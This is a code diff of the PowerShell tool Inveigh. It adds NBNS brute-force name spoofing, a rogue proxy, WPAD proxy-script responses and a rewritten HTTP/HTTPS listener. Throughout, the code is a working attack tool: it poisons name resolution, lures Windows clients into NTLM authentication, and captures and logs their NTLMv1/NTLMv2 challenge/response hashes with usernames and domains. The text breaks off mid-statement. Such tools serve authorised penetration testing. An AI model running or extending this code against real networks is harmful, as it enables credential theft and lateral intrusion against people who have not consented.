[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StartupChecks = "Y", [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool = "0", + [parameter(Mandatory=$false)][ValidateSet("Auto","Y","N")][String]$ElevatedPrivilege = "Auto", [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM","NTLMNoESS")][String]$HTTPAuth = "NTLM", + [parameter(Mandatory=$false)][ValidateSet("Basic","NTLM","NTLMNoESS")][String]$ProxyAuth = "NTLM", [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM","NTLMNoESS")][String]$WPADAuth = "NTLM", [parameter(Mandatory=$false)][ValidateSet("00","03","20","1B","1C","1D","1E")][Array]$NBNSTypes = @("00","20"), [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$IP = "", [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP = "0.0.0.0", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$ProxyIP = "0.0.0.0", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$NBNSBruteForceTarget = "", [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP = "", [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$WPADIP = "", [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$HTTPDir = "", @@ -288,16 +327,21 @@ param [parameter(Mandatory=$false)][Int]$ConsoleStatus = "", [parameter(Mandatory=$false)][Int]$LLMNRTTL = "30", [parameter(Mandatory=$false)][Int]$NBNSTTL = "165", + [parameter(Mandatory=$false)][Int]$NBNSBruteForcePause = "", + [parameter(Mandatory=$false)][Int]$ProxyPort = "8492", [parameter(Mandatory=$false)][Int]$WPADPort = "", + [parameter(Mandatory=$false)][Int]$RunCount = "", [parameter(Mandatory=$false)][Int]$RunTime = "", [parameter(Mandatory=$false)][Int]$SpooferLearningDelay = "", [parameter(Mandatory=$false)][Int]$SpooferLearningInterval = "30", [parameter(Mandatory=$false)][String]$HTTPBasicRealm = "IIS", + [parameter(Mandatory=$false)][String]$HTTPContentType = "", [parameter(Mandatory=$false)][String]$HTTPDefaultFile = "", [parameter(Mandatory=$false)][String]$HTTPDefaultEXE = "", [parameter(Mandatory=$false)][String]$HTTPResponse = "", [parameter(Mandatory=$false)][String]$HTTPSCertIssuer = "Inveigh", [parameter(Mandatory=$false)][String]$HTTPSCertSubject = "localhost", + [parameter(Mandatory=$false)][String]$NBNSBruteForceHost = "WPAD", [parameter(Mandatory=$false)][String]$WPADResponse = "", [parameter(Mandatory=$false)][Switch]$Inspect, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter @@ -347,6 +391,12 @@ if($WPADIP -or $WPADPort) } +if($NBNSBruteForce -eq 'Y' -and !$NBNSBruteForceTarget) +{ + Write-Output "Error:You must specify a -NBNSBruteForceTarget if enabling -NBNSBruteForce" + throw +} + if(!$OutputDir) { $output_directory = $PWD.Path @@ -378,13 +428,13 @@ if($inveigh.running) $inveigh.sniffer_socket = $null -if($inveigh.HTTP_listener.IsListening -and !$inveigh.relay_running) +if($HTTP_listener.IsListening -and !$inveigh.relay_running) { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() + $HTTP_listener.Stop() + $HTTP_listener.Close() } -if(!$inveigh.relay_running -or !$inveigh.unprivileged_running) +if(!$inveigh.relay_running) { $inveigh.console_queue = New-Object System.Collections.ArrayList $inveigh.status_queue = New-Object System.Collections.ArrayList @@ -404,6 +454,69 @@ if(!$inveigh.relay_running -or !$inveigh.unprivileged_running) $inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" } +if($ElevatedPrivilege -eq 'Auto') +{ + $elevated_privilege = [Bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544") +} +else +{ + + if($ElevatedPrivilege -eq 'Y') + { + $elevated_privilege = $true + } + else + { + $elevated_privilege = $false + } + +} + +if($StartupChecks -eq 'Y') +{ + + $firewall_status = netsh advfirewall show allprofiles state | Where-Object {$_ -match 'ON'} + + if($HTTP -eq 'Y') + { + $HTTP_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPPort " + } + + if($HTTPS -eq 'Y') + { + $HTTPS_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPSPort " + } + + if($Proxy -eq 'Y') + { + $HTTPS_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$ProxyPort " + } + +} + +if(!$elevated_privilege) +{ + + if($Inspect) + { + Write-Output "Error:-Inspect requires elevated privileges" + throw + } + + if($HTTPS -eq 'Y') + { + Write-Output "Error:-HTTPS requires elevated privileges" + throw + } + + if($SpooferLearning -eq 'Y') + { + Write-Output "Error:-SpooferLearning requires elevated privileges" + throw + } + +} + $inveigh.running = $true if($StatusOutput -eq 'Y') @@ -459,9 +572,13 @@ else $inveigh.status_queue.Add("Inveigh started at $(Get-Date -format 's')") > $null $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh started")]) > $null -if($StartupChecks -eq 'Y') +if($ElevatedPrivilege -eq 'Y' -or $elevated_privilege) { - $firewall_status = netsh advfirewall show allprofiles state | Where-Object {$_ -match 'ON'} + $inveigh.status_queue.Add("Elevated Privilege Mode = Enabled") > $null +} +else +{ + $inveigh.status_queue.Add("Elevated Privilege Mode = Disabled") > $null } if($firewall_status) @@ -505,7 +622,6 @@ if($NBNS -eq 'Y') $inveigh.status_queue.Add("NBNS Spoofer For Types $NBNSTypes_output = Enabled") > $null } - $inveigh.status_queue.Add("NBNS TTL = $NBNSTTL Seconds") > $null $NBNS_response_message = "- response sent" } else @@ -514,6 +630,28 @@ else $NBNS_response_message = "- NBNS spoofer is disabled" } +if($NBNSBruteForce -eq 'Y') +{ + $inveigh.status_queue.Add("NBNS Brute Force Spoofer Target = $NBNSBruteForceTarget") > $null + $inveigh.status_queue.Add("NBNS Brute Force Spoofer IP Address = $SpooferIP") > $null + $inveigh.status_queue.Add("NBNS Brute Force Spoofer Hostname = $NBNSBruteForceHost") > $null + + if($NBNSBruteForcePause) + { + $inveigh.status_queue.Add("NBNS Brute Force Pause = $NBNSBruteForcePause Seconds") > $null + } + +} +else +{ + $inveigh.status_queue.Add("NBNS Brute Force Spoofer = Disabled") > $null +} + +if($NBNS -eq 'Y' -or $NBNSBruteForce -eq 'Y') +{ + $inveigh.status_queue.Add("NBNS TTL = $NBNSTTL Seconds") > $null +} + if($SpooferLearning -eq 'Y' -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) { $inveigh.status_queue.Add("Spoofer Learning = Enabled") > $null @@ -572,7 +710,7 @@ else $inveigh.spoofer_repeat = $true } -if($SMB -eq 'Y') +if($SMB -eq 'Y' -and $elevated_privilege) { $inveigh.status_queue.Add("SMB Capture = Enabled") > $null } @@ -583,11 +721,6 @@ else if($HTTP -eq 'Y') { - - if($StartupChecks -eq 'Y') - { - $HTTP_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPPort " - } if($HTTP_port_check) { @@ -621,11 +754,6 @@ else if($HTTPS -eq 'Y') { - - if($StartupChecks -eq 'Y') - { - $HTTPS_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPSPort " - } if($HTTPS_port_check) { @@ -681,6 +809,7 @@ if($HTTPS -eq 'Y') $certificate_enrollment.InitializeFromRequest($certificate) $certificate_data = $certificate_enrollment.CreateRequest(0) $certificate_enrollment.InstallResponse(2,$certificate_data,0,"") + $inveigh.certificate = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -match $inveigh.certificate_issuer}) } else { @@ -694,14 +823,14 @@ if($HTTPS -eq 'Y') $inveigh.status_queue.Add("HTTPS Capture = Using Existing Certificate") > $null } - $certificate_check = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) - $netsh_certhash = "certhash=" + $certificate_check.thumbprint - $netsh_app_ID = "appid={00112233-4455-6677-8899-AABBCCDDEEFF}" - $netsh_arguments = @("http","add","sslcert","ipport=$HTTPIP`:$HTTPSPort",$netsh_certhash,$netsh_app_ID) - & "netsh" $netsh_arguments > $null + #$certificate_check = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) + #$netsh_certhash = "certhash=" + $certificate_check.thumbprint + #$netsh_app_ID = "appid={00112233-4455-6677-8899-AABBCCDDEEFF}" + #$netsh_arguments = @("http","add","sslcert","ipport=$HTTPIP`:$HTTPSPort",$netsh_certhash,$netsh_app_ID) + #& "netsh" $netsh_arguments > $null $inveigh.HTTPS = $true - $inveigh.HTTPS_IP = $HTTPIP - $inveigh.HTTPS_port = $HTTPSPort + #$inveigh.HTTPS_IP = $HTTPIP + #$inveigh.HTTPS_port = $HTTPSPort if($HTTPIP -ne '0.0.0.0') { @@ -754,7 +883,8 @@ if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') if($HTTPResponse) { - $inveigh.status_queue.Add("HTTP/HTTPS Custom Response = Enabled") > $null + $inveigh.status_queue.Add("HTTP/HTTPS Response = Enabled") > $null + $inveigh.status_queue.Add("HTTP/HTTPS Response Content Type = $HTTPContentType") > $null } if($HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic') @@ -762,31 +892,51 @@ if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') $inveigh.status_queue.Add("Basic Authentication Realm = $HTTPBasicRealm") > $null } - if($WPADIP -and $WPADPort) + if($WPADDirectHosts) { - $inveigh.status_queue.Add("WPAD Response = Enabled") > $null - $inveigh.status_queue.Add("WPAD = $WPADIP`:$WPADPort") > $null + ForEach($WPAD_direct_host in $WPADDirectHosts) + { + $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' + } + + $inveigh.status_queue.Add("WPAD Direct Hosts = " + ($WPADDirectHosts -join ",")) > $null + } + + if($WPADResponse) + { + $inveigh.status_queue.Add("WPAD Custom Response = Enabled") > $null + } + elseif($Proxy -eq 'Y') + { + $inveigh.status_queue.Add("Proxy Capture = Enabled") > $null + $inveigh.status_queue.Add("Proxy Authentication = $ProxyAuth") > $null + $ProxyPortFailover = $ProxyPort + 1 - if($WPADDirectHosts) + if($ProxyIP -eq '0.0.0.0') { - ForEach($WPAD_direct_host in $WPADDirectHosts) - { - $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' - } + $proxy_WPAD_IP = $IP + } - $WPADResponse = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" - $inveigh.status_queue.Add("WPAD Direct Hosts = " + ($WPADDirectHosts -join ",")) > $null + if($WPADIP -and $WPADPort) + { + $WPADResponse = "function FindProxyForURL(url,host){$WPAD_direct_hosts_function return `"PROXY $proxy_WPAD_IP`:$ProxyPort; PROXY $WPADIP`:$WPADPort; DIRECT`";}" } else { - $WPADResponse = "function FindProxyForURL(url,host){return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" + $WPADResponse = "function FindProxyForURL(url,host){$WPAD_direct_hosts_function return `"PROXY $proxy_WPAD_IP`:$ProxyPort; PROXY $proxy_wpad_IP`:$ProxyPortFailover; DIRECT`";}" } } - elseif($WPADResponse -and !$WPADIP -and !$WPADPort) + elseif($WPADIP -and $WPADPort) { - $inveigh.status_queue.Add("WPAD Custom Response = Enabled") > $null - $WPADResponse = $WPADResponse + $inveigh.status_queue.Add("WPAD Response = Enabled") > $null + $inveigh.status_queue.Add("WPAD = $WPADIP`:$WPADPort") > $null + + else + { + $WPADResponse = "function FindProxyForURL(url,host){$WPAD_direct_hosts_function return `"PROXY $WPADIP`:$WPADPort; DIRECT`";}" + } + } elseif($WPADEmptyFile -eq 'Y') { @@ -869,6 +1019,11 @@ else $inveigh.file_unique = $false } +if($RunCount) +{ + $inveigh.status_queue.Add("Run Count = $RunCount") > $null +} + if($RunTime -eq 1) { $inveigh.status_queue.Add("Run Time = $RunTime Minute") > $null @@ -1119,15 +1274,15 @@ $SMB_NTLM_functions_scriptblock = } -# HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener +# HTTP Server ScriptBlock - HTTP/HTTPS/Proxy listener $HTTP_scriptblock = { - param ($Challenge,$HTTPAuth,$HTTPBasicRealm,$HTTPDefaultEXE,$HTTPDefaultFile,$HTTPDir,$HTTPResponse,$WPADAuth,$WPADResponse) + param ($Challenge,$HTTPAuth,$HTTPBasicRealm,$HTTPContentType,$HTTPIP,$HTTPPort,$HTTPDefaultEXE,$HTTPDefaultFile,$HTTPDir,$HTTPResponse,$HTTPS_listener,$proxy_listener,$WPADAuth,$WPADResponse) function NTLMChallengeBase64 { - param ([String]$Challenge,[Bool]$NTLMESS) - + param ([String]$Challenge,[Bool]$NTLMESS,[String]$ClientIPAddress,[Int]$ClientPort) + $HTTP_timestamp = Get-Date $HTTP_timestamp = $HTTP_timestamp.ToFileTime() $HTTP_timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_timestamp)) @@ -1142,11 +1297,11 @@ $HTTP_scriptblock = else { $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $HTTP_challenge = $HTTP_challenge_bytes -replace ' ','' + $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} } - $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $HTTP_challenge) > $null + $inveigh.HTTP_challenge_queue.Add($ClientIPAddress + $ClientPort + ',' + $HTTP_challenge) > $null if($NTLMESS) { @@ -1174,303 +1329,522 @@ $HTTP_scriptblock = 0x00,0x00,0x00,0x00,0x0a,0x0a $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) - $NTLM = $null - $NTLM = 'NTLM ' + $NTLM_challenge_base64 + $NTLM = "NTLM " + $NTLM_challenge_base64 $NTLM_challenge = $HTTP_challenge - + return $NTLM } - $HTTP_raw_url_output = $true + if($HTTPS_listener) + { + $HTTP_type = "HTTPS" + } + elseif($proxy_listener) + { + $HTTP_type = "Proxy" + } + else + { + $HTTP_type = "HTTP" + } + + if($HTTPIP -ne '0.0.0.0') + { + $HTTPIP = [System.Net.IPAddress]::Parse($HTTPIP) + $HTTP_endpoint = New-Object System.Net.IPEndPoint($HTTPIP,$HTTPPort) + } + else + { + $HTTP_endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::any,$HTTPPort) + } + + $HTTP_running = $true + $HTTP_listener = New-Object System.Net.Sockets.TcpListener $HTTP_endpoint + + if($proxy_listener) + { + $HTTP_linger = New-Object System.Net.Sockets.LingerOption($true,0) + $HTTP_listener.Server.LingerState = $HTTP_linger + $HTTP_WWW_authenticate_header = 0x50,0x72,0x6f,0x78,0x79,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 # Proxy-Authenticate + } + else + { + $HTTP_WWW_authenticate_header = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 # WWW-Authenticate + } - while($inveigh.running) + try { - $inveigh.context = $inveigh.HTTP_listener.GetContext() - $inveigh.request = $inveigh.context.Request - $inveigh.response = $inveigh.context.Response - $NTLM = 'NTLM' - $NTLM_auth = $false - $basic_auth = $false - - if($inveigh.request.IsSecureConnection) - { - $HTTP_type = "HTTPS" - } - else + $HTTP_listener.Start() + } + catch + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener")]) + $HTTP_running = $false + } + + $HTTP_client_close = $true + + :HTTP_listener_loop while($inveigh.running -and $HTTP_running) + { + $TCP_request = "" + $TCP_request_bytes = New-Object System.Byte[] 4096 + + while(!$HTTP_listener.Pending() -and !$HTTP_client.Connected) { - $HTTP_type = "HTTP" - } - $HTTP_request_raw_url = $inveigh.request.RawUrl + Start-Sleep -m 10 + + if(!$inveigh.running) + { + break HTTP_listener_loop + } - if($HTTP_request_raw_url -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') - { - $inveigh.response.StatusCode = 200 - } - else - { - $inveigh.response.StatusCode = 401 } - if(($HTTP_request_raw_url -match '/wpad.dat' -and $WPADAuth -eq 'NTLM') -or ($HTTP_request_raw_url -notmatch '/wpad.dat' -and $HTTPAuth -eq 'NTLM')) - { - $HTTPNTLMESS = $true - } - else + if($HTTPS_listener) { - $HTTPNTLMESS = $false - } + + if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.running) + { + $HTTP_client = $HTTP_listener.AcceptTcpClient() + $HTTP_clear_stream = $HTTP_client.GetStream() + $HTTP_stream = New-Object System.Net.Security.SslStream($HTTP_clear_stream,$false) + $SSL_cert = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match $inveigh.certificate_CN}) + $HTTP_stream.AuthenticateAsServer($SSL_cert,$false,[System.Security.Authentication.SslProtocols]::Default,$false) + } - $HTTP_request_time = Get-Date -format 's' - $HTTP_source_IP = $inveigh.request.RemoteEndpoint.Address.IPAddressToString + [byte[]]$SSL_request_bytes = $null - if($HTTP_request_time -eq $HTTP_request_time_old -and $HTTP_request_raw_url -eq $HTTP_request_raw_url_old -and $HTTP_source_IP -eq $HTTP_request_remote_endpoint_old) - { - $HTTP_raw_url_output = $false + do + { + $HTTP_request_byte_count = $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) + $SSL_request_bytes += $TCP_request_bytes[0..($HTTP_request_byte_count - 1)] + } while ($HTTP_clear_stream.DataAvailable) + + $TCP_request = [System.BitConverter]::ToString($SSL_request_bytes) } else { - $HTTP_raw_url_output = $true - } - - if(!$inveigh.request.headers["Authorization"] -and $inveigh.HTTP_listener.IsListening -and $HTTP_raw_url_output) - { - $inveigh.console_queue.Add("$HTTP_request_time - $HTTP_type request for $HTTP_request_raw_url received from $HTTP_source_IP") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$HTTP_request_time - $HTTP_type request for $HTTP_request_raw_url received from $HTTP_source_IP")]) + + if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.running) + { + $HTTP_client = $HTTP_listener.AcceptTcpClient() + $HTTP_stream = $HTTP_client.GetStream() + } + + while($HTTP_stream.DataAvailable) + { + $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) + } + + $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) } - $HTTP_request_raw_url_old = $HTTP_request_raw_url - $HTTP_request_remote_endpoint_old = $HTTP_source_IP - $HTTP_request_time_old = $HTTP_request_time - - [String]$authentication_header = $inveigh.request.headers.GetValues('Authorization') - - if($authentication_header.StartsWith('NTLM ')) + if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*" -or $TCP_request -like "43-4f-4e-4e-45-43-54*") { - $authentication_header = $authentication_header -replace 'NTLM ','' - [Byte[]]$HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) - $inveigh.response.StatusCode = 401 - - if([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '01-00-00-00') - { - $inveigh.response.StatusCode = 401 - $NTLM = NTLMChallengeBase64 $Challenge $HTTPNTLMESS + $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) + $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) + + if($NBNSBruteForcePause) + { + $inveigh.NBNS_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + $inveigh.hostname_spoof = $true } - elseif([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '03-00-00-00') + + if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") { - $NTLM = 'NTLM' - $HTTP_NTLM_length = DataLength2 20 $HTTP_request_bytes - $HTTP_NTLM_offset = DataLength4 24 $HTTP_request_bytes - $HTTP_NTLM_domain_length = DataLength2 28 $HTTP_request_bytes - $HTTP_NTLM_domain_offset = DataLength4 32 $HTTP_request_bytes - [String]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $HTTP_source_IP + $inveigh.request.RemoteEndpoint.Port + '*' - $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) - $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1) - - if($HTTP_NTLM_domain_length -eq 0) + $HTTP_authorization_header = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) + $HTTP_authorization_header = $HTTP_authorization_header.Substring(0,$HTTP_authorization_header.IndexOf("-0D-0A-")) + $HTTP_authorization_header = $HTTP_authorization_header.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $authentication_header = New-Object System.String ($HTTP_authorization_header,0,$HTTP_authorization_header.Length) + } + else + { + $authentication_header = "" + } + + if($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') + { + $HTTP_response_status_code = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + } + else + { + + if($proxy_listener) { - $HTTP_NTLM_domain_string = '' + $HTTP_response_status_code = 0x34,0x30,0x37 } else - { - $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_offset $HTTP_NTLM_domain_length $HTTP_request_bytes - } - - $HTTP_NTLM_user_length = DataLength2 36 $HTTP_request_bytes - $HTTP_NTLM_user_offset = DataLength4 40 $HTTP_request_bytes - $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_offset $HTTP_NTLM_user_length $HTTP_request_bytes - $HTTP_NTLM_host_length = DataLength2 44 $HTTP_request_bytes - $HTTP_NTLM_host_offset = DataLength4 48 $HTTP_request_bytes - $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_offset $HTTP_NTLM_host_length $HTTP_request_bytes - - if($HTTP_NTLM_length -eq 24) # NTLMv1 { - $NTLM_type = "NTLMv1" - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(48,':') - $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP ($HTTP_NTLM_host_string)")]) - $inveigh.NTLMv1_list.Add($inveigh.HTTP_NTLM_hash) - - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n" + $inveigh.HTTP_NTLM_hash) - } - else - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string) for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") - } - - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) - { - $inveigh.NTLMv1_file_queue.Add($inveigh.HTTP_NTLM_hash) - $inveigh.console_queue.Add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) - } + $HTTP_response_status_code = 0x34,0x30,0x31 + } - if($inveigh.NTLMv1_username_list -notcontains ("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) - { - $inveigh.NTLMv1_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - } + $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64 + } - } + if(($HTTP_request_raw_url -match '/wpad.dat' -and $WPADAuth -eq 'NTLM') -or ($HTTP_request_raw_url -notmatch '/wpad.dat' -and $HTTPAuth -eq 'NTLM')) + { + $HTTPNTLMESS = $true + } + else + { + $HTTPNTLMESS = $false + } + + $NTLM = "NTLM" + $NTLM_auth = $false + $HTTP_source_IP = $HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + + if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $HTTP_client.Client.Handle) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP")]) + } + if($authentication_header.startswith('NTLM ')) + { + $authentication_header = $authentication_header -replace 'NTLM ','' + [Byte[]]$HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) + + if($proxy_listener) + { + $HTTP_response_status_code = 0x34,0x30,0x37 + } + else + { + $HTTP_response_status_code = 0x34,0x30,0x31 } - else # NTLMv2 - { - $NTLM_type = "NTLMv2" - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(32,':') - $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response + + if([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '01-00-00-00') + { + $NTLM = NTLMChallengeBase64 $Challenge $HTTPNTLMESS $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port + $HTTP_client_close = $false + } + elseif([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '03-00-00-00') + { + $NTLM = "NTLM" + $HTTP_NTLM_length = DataLength2 20 $HTTP_request_bytes + $HTTP_NTLM_offset = DataLength4 24 $HTTP_request_bytes + $HTTP_NTLM_domain_length = DataLength2 28 $HTTP_request_bytes + $HTTP_NTLM_domain_offset = DataLength4 32 $HTTP_request_bytes + [String]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + '*' + $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) + $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1) + + if($HTTP_NTLM_domain_length -eq 0) + { + $HTTP_NTLM_domain_string = "" + } + else + { + $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_offset $HTTP_NTLM_domain_length $HTTP_request_bytes + } - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) + $HTTP_NTLM_user_length = DataLength2 36 $HTTP_request_bytes + $HTTP_NTLM_user_offset = DataLength4 40 $HTTP_request_bytes + $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_offset $HTTP_NTLM_user_length $HTTP_request_bytes + $HTTP_NTLM_host_length = DataLength2 44 $HTTP_request_bytes + $HTTP_NTLM_host_offset = DataLength4 48 $HTTP_request_bytes + $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_offset $HTTP_NTLM_host_length $HTTP_request_bytes + + if($HTTP_NTLM_length -eq 24) # NTLMv1 { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) - $inveigh.NTLMv2_list.Add($inveigh.HTTP_NTLM_hash) + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(48,':') + $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + 